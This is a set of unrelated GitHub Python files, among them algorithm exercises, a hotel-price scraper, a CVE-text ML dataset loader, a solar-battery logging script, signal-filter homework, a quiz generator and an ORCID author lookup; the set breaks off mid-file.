+{"seq_id":"29122770749","text":"def subsetSum(l):\n    maxLen = 0\n    dic = {}\n    sum = 0\n    for i in range(len(l)):\n        sum +=l[i]\n        if sum == 0:\n            if i > maxLen:\n                maxLen = i+1\n        if sum in dic:\n            if i - dic[sum] > maxLen:\n                maxLen = i- dic[sum]\n        else:\n            dic[sum] = i\n        #print(dic)\n\n    return maxLen\n            \n\n\n\n# Main\nn=int(input())\nl=list(int(i) for i in input().strip().split(' '))\nprint(subsetSum(l))\n","repo_name":"agrawalmalav/DSA","sub_path":"Dictionaries - Maps/Longest subarray zero sum/longest_0_sum_subarr.py","file_name":"longest_0_sum_subarr.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"41820915675","text":"from bs4 import BeautifulSoup as soup\nimport json\nfrom selenium import webdriver\nimport undetected_chromedriver as uc\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nimport requests\n\noptions = Options()\noptions.add_argument(\"--headless\")\noptions.add_argument(\"--window-size=1440, 900\")\nservice = Service('chromedriver.exe')\ndriver = uc.Chrome(options=options, service=service)\ncity = 'BSB'\ncheckin = '2021-11-27'\ncheckout = '2021-11-30'\nadults = '2'\n# rank_a: recommended, price_a: low to high, price_b: high to low, stars_b: highest stars, userrating_b: highest review score, distance_a: closest to airport first\nsorting = ['rank_a', 'price_a', 'price_b', 'stars_b', 'userrating_b', 'distance_a']\n\nlink = 'https://www.kayak.com/hotels/' + city + '/' + checkin + '/' + checkout + '/' + adults + 'adults' + '?sort=' + sorting[0] + '&fs=property-type=-rental:apartment,rental:bungalow,rental:homestay,rental:holhome.html'\ndriver.get(link)\ntry:\n    element = WebDriverWait(driver, 30).until(\n        EC.presence_of_element_located((By.CLASS_NAME, \"zV27-price\"))\n    )\nfinally:\n    bsobj = soup(driver.page_source,'lxml')\n    driver.quit()\n\nhotel = []\nfor name in bsobj.findAll('div',{'class':'FLpo-big-name'}):\n    hotel.append(name.text.strip())\n\nprovider = [] \nfor name in bsobj.findAll('div',{'class':'zV27-provider'}):\n    provider.append(name.text.strip())\n\nratings = []\nfor rating in bsobj.findAll('div',{'class':'FLpo-score'}):\n    ratings.append(rating.text.strip())\n\nreviews = []\nfor review in bsobj.findAll('div',{'class':'FLpo-review-count'}):\n    reviews.append(review.text.strip())\n\nprice = []\nfor p in bsobj.findAll('div',{'class':'zV27-price'}):\n    price.append(p.text.strip())\n\nfor i in range(len(hotel)):\n    _data =  {\n                \"name\": hotel[i],\n                \"provider\": provider[i],\n                \"rating\": ratings[i],\n                \"review\": reviews[i],\n                \"price\": price[i],\n                \"city\": city,\n                \"checkin\": checkin,\n                \"checkout\": checkout\n            }\n    response = requests.post('http://127.0.0.1:8000/api/', data = _data)","repo_name":"lucashsg77/HotelsScrapperDjangoApi","sub_path":"HotelScrapper/scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"17511600876","text":"import numpy as np\nimport torch\nimport torch.utils.data as data\nimport math\nimport os\nfrom tqdm import tqdm\nimport pandas as pd\nimport re\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nclass Dataset:\n    def __init__(self):\n        self.basedir = 'C:/Users/zdaaaaa/Desktop/Repository/软件安全/选中的论文/MSR2019---NN'\n        self.datapath = self.basedir + '/data/all_cves_cleaned.csv'\n\n    def extract_features(self, config, start_word_ngram, end_word_ngram):\n        if config == 1:\n            return TfidfVectorizer(stop_words=['aka'], ngram_range=(1, 1), use_idf=False, min_df=0.001,\n                                norm=None, smooth_idf=False, token_pattern=r'\\S*[A-Za-z]\\S+')\n        elif config == 2:\n            return TfidfVectorizer(stop_words=['aka'], ngram_range=(1, 1), use_idf=True, min_df=0.001,\n                                norm='l2', token_pattern=r'\\S*[A-Za-z]\\S+')\n        elif config < 6:\n            return TfidfVectorizer(stop_words=['aka'], ngram_range=(start_word_ngram, end_word_ngram), use_idf=False,\n                                min_df=0.001, norm=None, smooth_idf=False, token_pattern=r'\\S*[A-Za-z]\\S+')\n\n        return TfidfVectorizer(stop_words=['aka'], ngram_range=(start_word_ngram, end_word_ngram), use_idf=True,\n                            min_df=0.001, norm='l2', token_pattern=r'\\S*[A-Za-z]\\S+')\n\n    def feature_model(self, X_train, X_test, y_test, config, start_word_ngram, end_word_ngram):\n        # Create vectorizer\n        vectorizer = self.extract_features(config=config, start_word_ngram=start_word_ngram, end_word_ngram=end_word_ngram)\n\n        X_train = X_train.astype(str)\n        X_test = X_test.astype(str)\n\n        X_train_transformed = vectorizer.fit_transform(X_train)\n        X_train_transformed = X_train_transformed.toarray()\n\n        X_test_transformed = vectorizer.transform(X_test)\n        X_test_transformed = X_test_transformed.toarray()\n\n        # Remove rows with all zero values\n        test_df = pd.DataFrame(X_test_transformed)\n        results = test_df.apply(lambda x: x.value_counts().get(0.0, 0), axis=1)\n        non_zero_indices = np.where(results < len(test_df.columns))[0]\n\n        X_train_transformed = X_train_transformed.astype(np.float64)\n        X_test_transformed = X_test_transformed.astype(np.float64)\n\n        return X_train_transformed, X_test_transformed[non_zero_indices], y_test[non_zero_indices]\n\n    def extractYearFromId(self, id):\n        return re.match(r'CVE-(\\d+)-\\d+', id).group(1)\n\n\n    def fetch_data(self, label, config, start_word_ngram, end_word_ngram, year):\n        df = pd.read_csv(self.datapath, low_memory=False)\n\n        df['Year'] = df.ID.map(self.extractYearFromId).astype(np.int64)\n        notnull_indices = np.where(df.CVSS2_Avail.notnull())[0]\n        df_notnull = df.iloc[notnull_indices]\n\n        split_year = 2016\n        all_train_indices = np.where(df_notnull.Year < split_year)[0]\n        X = df_notnull.Cleaned_Desc.iloc[all_train_indices].values\n        y = df_notnull[label].iloc[all_train_indices].values\n\n        train_indices = np.where(df_notnull.iloc[all_train_indices].Year < year)[0]\n        test_indices = np.where(df_notnull.iloc[all_train_indices].Year == year)[0]\n        X_train, X_test = X[train_indices], X[test_indices]\n        y_train, y_test = y[train_indices], y[test_indices]\n        X_train_transformed, X_test_transformed, y_test = self.feature_model(X_train, X_test, y_test, config, start_word_ngram, end_word_ngram)\n\n        # 把y中的label变为数字\n        label_set = set()\n        for item in y_train:\n            label_set.add(item)\n        for index, item in enumerate(y_train):\n            item = list(label_set).index(item)\n            y_train[index] = item\n        for index, item in enumerate(y_test):\n            item = list(label_set).index(item)\n            y_test[index] = item\n\n        return X_train_transformed, X_test_transformed, y_train, y_test\n\n    def load_data(self, label, config, start_word_ngram, end_word_ngram, year):\n        X_train_transformed, X_test_transformed, y_train, y_test = self.fetch_data(label, config, start_word_ngram, end_word_ngram, year)\n\n        class TempClass:\n            def __init__(self_2):\n                self_2.x_train = X_train_transformed\n                self_2.x_valid = X_test_transformed\n                self_2.y_train = y_train\n                self_2.y_valid = y_test\n\n        return TempClass()\n\n\nclass TorchDataset(data.Dataset):\n    def __init__(self, ds, mode='train'):\n        super(TorchDataset, self).__init__()\n        self.ds = ds\n        self.mode = mode\n\n    def __getitem__(self, index):\n        if self.mode == 'train':\n            x = torch.from_numpy(self.ds.x_train[index])\n            y = torch.tensor(self.ds.y_train[index]) \n        else:\n            x = torch.from_numpy(self.ds.x_valid[index])\n            y = torch.tensor(self.ds.y_valid[index])\n\n        return x.float(), y.float()\n\n    def __len__(self):\n        if self.mode == 'train':\n            return self.ds.x_train.shape[0]\n        else:\n            return self.ds.x_valid.shape[0]\n\nclass DatasetFactory(object):\n    def __init__(self, label, config, start_word_ngram, end_word_ngram, year):\n        self.dataset = Dataset()\n        self.ds = self.dataset.load_data(label, config, start_word_ngram, end_word_ngram, year)\n\n    def get_train_dataset(self):\n        return TorchDataset(self.ds, 'train')\n\n    def get_valid_dataset(self):\n        return TorchDataset(self.ds, 'valid')","repo_name":"zdaaaaa/MSR2019-DNN","sub_path":"dataset/nn_dataset.py","file_name":"nn_dataset.py","file_ext":"py","file_size_in_byte":5550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"34070880327","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Versión 2019-08-11\n\nimport time\nimport MySQLdb\n\nimport telebot # Librería de la API del bot.\nfrom telebot import types # Tipos para la API del bot.\nimport token\n\nfrom Parametros_FV import *\n\n\ndef logBD(texto) : # Incluir en tabla de Log\n    try:\n        tiempo = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n        cursor.execute(\"\"\"INSERT INTO log (Tiempo,log) VALUES(%s,%s)\"\"\",(tiempo,texto))\n        db.commit()\n    except:\n        db.rollback()\n\n    return\n\nif usar_telegram == 1:\n    bot = telebot.TeleBot(TOKEN) # Creamos el objeto de nuestro bot.\n    bot.skip_pending = True # Skip the pending messages\n    cid = Aut[0]\n\n\nTi=time.time()\n\nAhn = 0.0\nAhp = 0.0\nAhCPn = 0.0\nAhCPp = 0.0\nipt = 0.0\n\n\n\ntry:\n    db = MySQLdb.connect(host = servidor, user = usuario, passwd = clave, db = basedatos)\n    cursor = db.cursor()\n\n    sql='SELECT Tiempo, Ibat, Temp  FROM datos WHERE DATE(Tiempo) = DATE_ADD(CURDATE(), INTERVAL -1 DAY) ORDER BY Tiempo;'\n    nfilas=cursor.execute(sql)\n    nfilas=int(nfilas)\n    var=cursor.fetchall()\n        \nexcept Exception as e:\n   print (\"Error en la base de datos - fv_soh.py\")\n\n\nfecha= var[0][0].strftime(\"%Y-%m-%d\")\n\n#print ('fecha=',fecha)\n#print ('nfilas=',nfilas)\n\ni=0\n\n#print (time.time()-Ti)\n\nfor i in range(nfilas-1): \n\n    diferencia= (var[i+1][0]-var[i][0]).total_seconds()\n    \n    #print (diferencia)\n \n    ibat=float(var[i][1])\n    temp=float(var[i][2])\n\n    if ibat < 0:\n        Ahn = Ahn - (ibat * diferencia/3600)\n        if temp > 20:\n            ipt1 = -ibat\n            ipt = ipt1**CP * 2**((temp-20)/10)\n            AhCPn = AhCPn + (ipt * diferencia/3600)\n        else:\n            AhCPn = AhCPn - (ibat * diferencia/3600)\n    else :\n        Ahp = Ahp + (ibat * diferencia/3600)\n        if temp > 20:\n            ipt = ibat**CP * 2**((temp-20)/10)\n            AhCPp = AhCPp + (ipt * diferencia/3600)\n        else:\n            AhCPp = AhCPp + (ibat * diferencia/3600)\n              \n#print (time.time()-Ti)   \n\n#print ('Ahp=',Ahp)\n#print ('Ahn=',Ahn)\n#print ('AhCPp=',AhCPp)\n#print ('AhCPn=',AhCPn)\n\ntry:\n    tg_msg=\"Registro SOH no grabado \"\n    \n    cursor.execute(\"\"\"INSERT INTO soh (fecha,Ahn,Ahp,AhCPn,AhCPp)\n                 VALUES(%s,%s,%s,%s,%s)\"\"\",\n                 (fecha,Ahn,Ahp,AhCPn,AhCPp))\n    #print (fecha,Ahn,Ahp,AhCPn,AhCPp)\n    db.commit()\n    if usar_telegram == 1:\n        tg_msg=\"Ciclado Ah/AhCP dia \" + fecha + \"=\" + str(int(Ahn)) + \"/\" + str(int(AhCPn))\n        try:\n            bot.send_message( cid, tg_msg)\n        except:\n            pass\n\nexcept:\n    db.rollback()\n    logBD(tg_msg)\n    if usar_telegram == 1:        \n        try:\n            bot.send_message( cid, tg_msg)\n        except:\n            pass\n\ncursor.close()\ndb.close()\n\n","repo_name":"tonikny/PVControl","sub_path":"fv_soh.py","file_name":"fv_soh.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"25240597652","text":"# from functions.load_data import load_data\nimport hashlib\nfrom hashlib import md5\n\nfrom functions.generic import *\nfrom functions.load_data import load_data\nfrom functions.test import test\nimport string\n\nINPUT_DIR = f\"./inputs/\"\nFILE_NAME = os.path.basename(__file__).replace('.py', 'a.txt')\n\n# BLOCK = 100000\nBLOCK = 100000\n\nascii_lowercase = 'abcdefghijklmnopqrstuvwxyz'\ndigits = '0123456789'\n\nchars = ascii_lowercase + digits\n\ntriples = [c*3 for c in chars]\nquins = [c*5 for c in chars]\n\n\ndef get_keys_indexes(salt, is_stretched=False):\n    i = 1000\n    last = False\n    if is_stretched:\n        HASHES = [''] * 1000\n        for _h in [md5(f'{data}{str(j)}'.encode()).hexdigest() for j in range(BLOCK)]:\n            for _ in range(2016):\n                _h = md5(_h.encode()).hexdigest()\n            HASHES.append(_h)\n        print(HASHES[1000])\n    else:\n        HASHES = [''] * 1000 + [md5(f'{data}{str(j)}'.encode()).hexdigest() for j in range(BLOCK)]\n\n    valid_indexes = []\n    while True:\n        check_for = []\n        for q in quins:\n            if q in HASHES[i]:\n                check_for.append(q[0] * 3)\n        for hi, h in enumerate(HASHES[i - 1000: i]):\n            for cf in check_for:\n                if cf in h and i - 2000 + hi not in valid_indexes:\n                    is_valid = True\n                    cfi = h.index(cf)\n                    for t in triples:\n                        if t in h and t != cf and h.index(t) < cfi:\n                            is_valid = False\n                    if is_valid:\n                        valid_indexes.append(i - 2000 + hi)\n                        print(i - 1000, i - 2000 + hi, cf, h)\n                        break\n        i += 1\n        if i == last:\n            break\n        if not last and len(valid_indexes) >= 64:\n            last = i + 1000\n    valid_indexes.sort()\n    return valid_indexes\n\n\ndef part1(data):\n    valid_indexes = get_keys_indexes(data, False)\n    return valid_indexes[63]\n\n\ndef part2(data):\n    valid_indexes = get_keys_indexes(data, True)\n    return valid_indexes[63]\n\n\nif __name__ == \"__main__\":\n    # test(file_name=FILE_NAME, part1=part1, part2=part2, a1=1, a2=2)\n    #\n    # file_path = INPUT_DIR + \"day2a.txt\"\n    # data = load_data(file_path)\n    data = 'jlmsuwbz'\n    # data = 'abc'\n    # print(f\"Answer to part 1 is {part1(data)}\")\n    print(f\"Answer to part 2 is {part2(data)}\")","repo_name":"kbvanzomeren/AoC","sub_path":"2016/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"7588677765","text":"import sys\r\nfrom collections import deque\r\n\r\n\r\ndef BFS(x, y):\r\n    q = deque()\r\n    q.append((x, y))\r\n    check[x][y] = True\r\n    while q:\r\n        x, y = q.popleft()\r\n\r\n        for i in range(8):\r\n            next_x = x + dx[i]\r\n            next_y = y + dy[i]\r\n            if is_valid(next_x, next_y):\r\n                q.append((next_x, next_y))\r\n                check[next_x][next_y] = True\r\n\r\n    return 1\r\n\r\n\r\ndef is_valid(next_x, next_y):\r\n    return 0 <= next_x < h and 0 <= next_y < w and not check[next_x][next_y] and board[next_x][next_y] == 1\r\n\r\n\r\ninput = sys.stdin.readline\r\ndx = [-1, -1, -1, 0, 1, 1, 1, 0]\r\ndy = [-1, 0, 1, 1, -1, 0, 1, -1]\r\nw, h = map(int, input().split())\r\nwhile w != 0 and h != 0:\r\n    board = [list(map(int, input().split())) for _ in range(h)]\r\n    check = [[False for _ in range(w)] for _ in range(h)]\r\n    count = 0\r\n    for x in range(h):\r\n        for y in range(w):\r\n            if not check[x][y] and board[x][y] != 0:\r\n                count += BFS(x, y)\r\n\r\n    print(count)\r\n    w, h = map(int, input().split())","repo_name":"HyoJongPark/Algorithm","sub_path":"백준/Silver/4963. 섬의 개수/섬의 개수.py","file_name":"섬의 개수.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"28515522082","text":"#!/usr/bin/env python\n\"\"\"\nGeneral instructions:\n  python setup.py build\n  python setup.py install\n\nTo include parts that depend on R's survival module, do:\n  python setup.py build --with-R\n\nInfo: This package depends on numpy, and optionally R, RInside\n\"\"\"\n\nfrom distutils.core import setup, Extension\nimport subprocess\nimport numpy\nimport sys\n\n\nsources = ['src/PythonModule.cpp',\n           'src/ErrorFunctions.cpp',\n           'src/ErrorFunctionsGeneral.cpp',\n           'src/ErrorFunctionsSurvival.cpp',\n           'src/Statistics.cpp',\n           'src/RPropNetworkWrapper.cpp',\n           'src/RPropNetwork.cpp',\n           'src/drand.cpp',\n           'src/activationfunctions.cpp',\n           'src/c_index.cpp', 'src/CIndexWrapper.cpp',\n           'src/MatrixNetwork.cpp',\n           'src/MatrixNetworkWrapper.cpp',\n           'src/GeneticNetwork.cpp',\n           'src/GeneticFitness.cpp',\n           'src/GeneticSelection.cpp',\n           'src/GeneticMutation.cpp',\n           'src/GeneticCrossover.cpp',\n           'src/GeneticNetworkWrapper.cpp',\n           'src/ErrorFunctionsWrapper.cpp',\n           'src/WrapperHelpers.cpp',\n           'src/Random.cpp']\n\n\n# Numpy stuff\nnumpy_include = numpy.get_include()\n\ncompileargs = []\nlibs = []\nlibdirs = []\nlinkargs = []\n\n#if (\"--help\" in sys.argv or\nif (\"-h\" in sys.argv or\n    len(sys.argv) == 1):\n    sys.exit(__doc__)\n\n# Python setup\n_ann = Extension('ann._ann',\n                 sources = sources,\n                 include_dirs = [numpy_include],\n                 extra_compile_args = ['-std=c++0x',\n                                       '-Wall',\n                                       '-O3',\n                                       '-fopenmp'] + compileargs,\n                 extra_link_args = ['-fopenmp'] + linkargs,\n                 libraries=libs, library_dirs=libdirs)\n\nsetup(name = 'pysurvival-ann',\n      version = '0.9',\n      description = 'A C++ neural network package for survival data',\n      author = 'Jonas Kalderstam',\n      author_email = 'jonas@kalderstam.se',\n      url = 'https://github.com/spacecowboy/pysurvival-ann',\n      packages = ['ann'],\n      package_dir = {'ann': 'ann'},\n      ext_modules = [_ann],\n      setup_requires = ['numpy'],\n      install_requires = ['numpy>=1.7.1']\n     )\n","repo_name":"spacecowboy/pysurvival-ann","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"39786213198","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom math import pi as π\nfrom math import sqrt\nfrom scipy import signal\n\nDPI = 100\n\n# In[2]:\n# Zadanie 6.1\n\ndef MyFilter(x, b, a):\n    y = [b[0]*x[0]]\n    y.append(b[1]*x[0] + b[0]*x[1] + a[1]*y[0])\n    for i in range(2, len(x)):\n        y.append(b[0]*x[i] + b[1]*x[i-1] + b[2]*x[i-2] - a[1]*y[i-1] - a[2]*y[i-2])\n    return y\n\nN = 16\nb = [.1, .2, .3]\na = [1, .9, .1]\n\nx = np.zeros(N)\nx[2] = 1\n# print(x)\n\n# In[3]:\n# 6.1 (A, B)\n\nfig, plots = plt.subplots(1, 2, figsize= (8,4), dpi= DPI)\nplots[0].stem(MyFilter(x, b, a))\nplots[0].set(title= \"A) MyFilter()\"            , xlabel= \"Nr. Próbki\", ylabel= \"Amplituda\")\nplots[1].stem(signal.lfilter(b, a, x))\nplots[1].set(title= \"B) scipy.signal.lfilter()\", xlabel= \"Nr. Próbki\", ylabel= \"Amplituda\")\n\n\n# plt.suptitle(f\"System {title}\", fontsize='xx-large')\nfig.set_tight_layout(tight=True)\nplt.show()\n\n# In[4]:\n# 6.1 (C)\n\nw, h = signal.freqz(MyFilter(x, b, a))\n\n#π\nfig, plots = plt.subplots(2, 1, figsize= (8,6), dpi= DPI)\nplots[0].plot(w/π, 20*np.log10(abs(h)))\nplots[0].set(title= \"Charakterystyka amplitudowa\", xlabel= \"Znormalizowna częstotliwość [xπ rad/próbka]\", ylabel= \"Magnituda [dB]\")\nplots[1].plot(w/π, np.unwrap(np.angle(h, deg = True)))\nplots[1].set(title= \"Charakterystyka fazowa\",      xlabel= \"Znormalizowna częstotliwość [xπ rad/próbka]\", ylabel= \"Faza [stopnie]\")\n\nfig.set_tight_layout(tight=True)\nplt.show()\n\n# In[5]:\n# 6.1 (D) \"Filtr niestabilny\"\n\nz, p, k = signal.tf2zpk(b, a)\n\ntheta = np.arange(0, 2*π, 1/64) # Why not use π instead of PI\nr = sqrt(1.0)\nx_cos = r*np.cos(theta)\nx_sin = r*np.sin(theta)\n\nfig, plots = plt.subplots(1, 1, figsize= (6,6), dpi= DPI)\nfor plot in plots:\n    plot.set(xlim= (0, 1), ylim= (-20, 30))\nplots.plot(x_cos, x_sin, color= \"black\", linewidth= 0.5)\nplots.scatter(p.real, p.imag, label= \"Pola\", marker= 'x')\nplots.scatter(z.real, z.imag, label= \"Zera\")\nplots.set(title= \"Położenie zer i biegunów\", xlabel= \"Re\", ylabel= \"Im\")\nplots.legend()\nplots.axis('equal')\nplots.grid()\n\nfig.set_tight_layout(tight=True)\nplt.show()\n\n# In[6]:\n# 6.1 (E)\n\nnoise = np.random.normal(0, 1, 64)\nfiltered = MyFilter(noise, b, a)\n\nfig, plots = plt.subplots(2, 1, figsize= (6,6), dpi= DPI)\nw, h = signal.freqz(noise)\nplots[0].plot(w/π, 20*np.log10(abs(h)))\nplots[0].set(title= \"Widmo amplitudowe szumu\",                  xlabel= \"Znormalizowna częstotliwość [xπ rad/próbka]\", ylabel= \"Magnituda [dB]\")\n\nw, h = signal.freqz(filtered)\nplots[1].plot(w/π, 20*np.log10(abs(h)))\nplots[1].set(title= \"Widmo amplitudowe przefiltrowanego szumu\", xlabel= \"Znormalizowna częstotliwość [xπ rad/próbka]\", ylabel= \"Magnituda [dB]\")\n\nfig.set_tight_layout(tight=True)\nplt.show()\n\n# In[7]:\n# 6.2 (intro)\n\nfs = 44_100\nSCALE = 1/1000\n\nb, a = signal.cheby1(N= 3, rp= 1, Wn= 2_000, btype= 'lowpass', fs= fs)\n\n# In[8]:\n# 6.2 (A)\n\nw, h = signal.freqz(b, a, fs= fs)\n\nfig, plots = plt.subplots(2, 1, figsize= (8,6), dpi= DPI)\nfor plot in plots:\n    plot.set(xlabel= \"Częstotliwość [kHz]\")\n    plot.set(xlim= (0, fs*.5*SCALE))\n    plot.grid()\n    plot.axvline(2, color= 'red', lw= .5).set(label= \"Częstotliwość odcięcia\")\n\nplots[0].plot(w*SCALE, 20*np.log10(abs(h)))\nplots[0].set(title= \"Charakterystyka amplitudowa\", ylabel= \"Magnituda [dB]\")\nplots[0].axhline(-1, color= 'green', lw= .5).set(label= \"Zafalowanie\")\nplots[0].legend()\n\nplots[1].plot(w*SCALE, np.unwrap(np.angle(h, deg= True)))\nplots[1].set(title= \"Charakterystyka fazowa\", ylabel= \"Faza [stopnie]\")\n\nfig.set_tight_layout(tight=True)\nplt.show()\n\n# In[9]:\n# 6.2 (B)\n\nnoise = np.random.normal(0, 1, fs)\ntime = np.arange(0, 1, 1/fs)\nfiltered = signal.lfilter(b, a, noise)\n\nfig, plots = plt.subplots(2, 1, figsize= (8,6), dpi= DPI)\nfor plot in plots:\n    plot.set(xlabel= \"Czas [s]\", ylabel= \"Amplituda\")\n    plot.set(xlim= (0, 1), ylim= (-4, 4))\n\nplots[0].plot(time, noise)\nplots[0].set(title= \"Wejście (szum gaussowski)\")\nplots[1].plot(time, filtered)\nplots[1].set(title= \"Wyjście (przefiltrowany szum)\")\n\nfig.set_tight_layout(tight=True)\nplt.show()\n\n# In[10]:\n# 6.2 (C)\n\nfig, plots = plt.subplots(2, 1, figsize= (8,6), dpi= DPI)\nfor plot in plots:\n    plot.set(xlabel= \"Częstotliwość [kHz]\", ylabel= \"Magnituda [dB]\")\n    plot.set(xlim= (0, fs*.5*SCALE), ylim= (-15, 0))\n    plot.grid()\n    plot.axvline(2, color= 'red', lw= .5)\n\nf, p = signal.periodogram(x= noise,    fs= fs)\nplots[0].plot(f*SCALE, np.log10(p))\nplots[0].set(title= \"Periodogram(IN)\")\n\nf, p = signal.periodogram(x= filtered, fs= fs)\nplots[1].plot(f*SCALE, np.log10(p))\nplots[1].set(title= \"Periodogram(OUT)\")\n\nfig.set_tight_layout(tight=True)\nplt.show()\n\n#In[11]:\n# 6.2 (D)\n\nfig, plots = plt.subplots(2, 1, figsize= (6,8), dpi= DPI)\nfor plot in plots:\n    plot.set(xlabel= \"Czas [s]\", ylabel= \"Częstotliwość [kHz]\")\n    plot.axhline(2, color= 'red', lw= .5)\n\nf, t, Sxx = signal.spectrogram(noise, fs, nperseg= 256)\nSxx = 20 * np.log10(Sxx)\nplot = plots[0]\npcm = plot.pcolormesh(t, f*SCALE, Sxx)\nbar = fig.colorbar(pcm, ax= plot)\nbar.ax.set_ylabel(\"P/f [db/Hz]\")\nplot.set_title(\"Spectrogram(IN)\")\n\nf, t, Sxx = signal.spectrogram(filtered, fs, nperseg= 256)\nSxx = 20 * np.log10(Sxx)\nplot = plots[1]\npcm = plot.pcolormesh(t, f*SCALE, Sxx)\nbar = fig.colorbar(pcm, ax= plot)\nbar.ax.set_ylabel(\"P/f [db/Hz]\")\nplot.set_title(\"Spectrogram(OUT)\")\n\nfig.set_tight_layout(tight=True)\nplt.show()\n\n#In[12]:\n# 6.2 (E)\n\nimport IPython.display as ipd\n\nipd.display(ipd.Audio(noise,    rate=fs*2))\nipd.display(ipd.Audio(filtered, rate=fs*2))\n\n# %%\n","repo_name":"pb-students/PSIO-06-digital-filters","sub_path":"Code.py","file_name":"Code.py","file_ext":"py","file_size_in_byte":5553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"2039194316","text":"import random\n\nimport states as states\n\n# The quiz data. Keys are states and values are their capitals.\ncapitals = {'Alabama': 'Montgomery', 'Alaska': 'Juneau', 'Arizona': 'Phoenix',\n            'Arkansas': 'Little Rock', 'California': 'Sacramento', 'Colorado': 'Denver',\n            'Connecticut': 'Hartford', 'Delaware': 'Dover', 'Florida': 'Tallahassee',\n            'Georgia': 'Atlanta', 'Hawaii': 'Honolulu', 'Idaho': 'Boise', 'Illinois':\n                'Springfield', 'Indiana': 'Indianapolis', 'Iowa': 'Des Moines', 'Kansas':\n                'Topeka', 'Kentucky': 'Frankfort', 'Louisiana': 'Baton Rouge', 'Maine':\n                'Augusta', 'Maryland': 'Annapolis', 'Massachusetts': 'Boston', 'Michigan':\n                'Lansing', 'Minnesota': 'Saint Paul', 'Mississippi': 'Jackson', 'Missouri':\n                'Jefferson City', 'Montana': 'Helena', 'Nebraska': 'Lincoln', 'Nevada':\n                'Carson City', 'New Hampshire': 'Concord', 'New Jersey': 'Trenton', 'New Mexico': 'Santa Fe',\n            'New York': 'Albany', 'North Carolina': 'Raleigh',\n            'North Dakota': 'Bismarck', 'Ohio': 'Columbus', 'Oklahoma': 'Oklahoma City',\n            'Oregon': 'Salem', 'Pennsylvania': 'Harrisburg', 'Rhode Island': 'Providence',\n            'South Carolina': 'Columbia', 'South Dakota': 'Pierre', 'Tennessee':\n                'Nashville', 'Texas': 'Austin', 'Utah': 'Salt Lake City', 'Vermont':\n                'Montpelier', 'Virginia': 'Richmond', 'Washington': 'Olympia', 'West Virginia': 'Charleston',\n            'Wisconsin': 'Madison', 'Wyoming': 'Cheyenne'}\n\ncapital_items = list(capitals.items())\n\nfor quiz_number in range(35):\n    quiz_file = open('capitals_quiz.txt'(quiz_number + 1), 'w')\n    answer_key = open('capitals_quiz_answer.txt'(quiz_number + 1), 'w')\n\n    quiz_file.write(f'Name:\\n\\n Date:\\n\\n Period:\\n\\n')\n    quiz_file.write(f'State Capital Quiz Form\\'s {quiz_number + 1}')\n    quiz_file.write('\\n\\n')\n\nstates = list(capitals.keys())\nrandom.shuffle(states)\n\nfor question_number in range(50):\n    correct_answers = capitals[states[question_number]]\n    wrong_answer = list(capitals.values())\n    del wrong_answer[wrong_answer.index(correct_answers)]\n    wrong_answer = random.sample(wrong_answer, 3)\n\n    answer_options = wrong_answer + [correct_answers]\n    random.shuffle(answer_options)\n\n    quiz_file.write(f'What is the capital of {question_number + 1, states[question_number]}')\n    for i in range(4):\n        quiz_file.write(f'ABCD{i}, {answer_options}\\n')\n    quiz_file.write('\\n')\n\n    answer_key.write(f'{question_number + 1}ABCD{answer_options.idex[correct_answers]}')\n\n    quiz_file.close()\n    answer_key.close()\n","repo_name":"Johnnypham7496/ProgrammingLogic1150Examples","sub_path":"9_files/quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"14324860011","text":"from django.core.management.base import BaseCommand\nfrom django.db.models import Count, Q\nfrom django.utils import timezone\nfrom gregory.models import Authors\nimport orcid\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\nclass Command(BaseCommand):\n\torcid_key = os.environ.get('ORCID_ClientID')\n\torcid_secret = os.environ.get('ORCID_ClientSecret')\n\n\tdef handle(self, *args, **kwargs):\n\t\torcid_api = orcid.PublicAPI(self.orcid_key, self.orcid_secret, sandbox=False)\n\t\ttoken = orcid_api.get_search_token_from_orcid()\n\t\tsix_months_ago = timezone.now() - timezone.timedelta(days=180)\n\t\tauthors = Authors.objects.annotate(num_articles=Count('articles')).filter(\n\t\t\t\tQ(orcid_check__lte=six_months_ago) | Q(orcid_check__isnull=True),\n\t\t\t\tORCID__isnull=False,\n\t\t\t\tcountry__isnull=True\n\t\t).order_by('-num_articles')[:1000]\n\n\t\tfor author in authors:\n\t\t\tauthor_orcid_number = author.ORCID.replace('http://orcid.org/', '')\n\t\t\trecord = orcid_api.read_record_public(author_orcid_number, 'record', token)\n\t\t\taddresses = record.get('person', {}).get('addresses', {}).get('address', [])\n\t\t\torcid_check = timezone.now()\n\t\t\tauthor.orcid_check = orcid_check\n\t\t\tprint(author)\n\t\t\tif 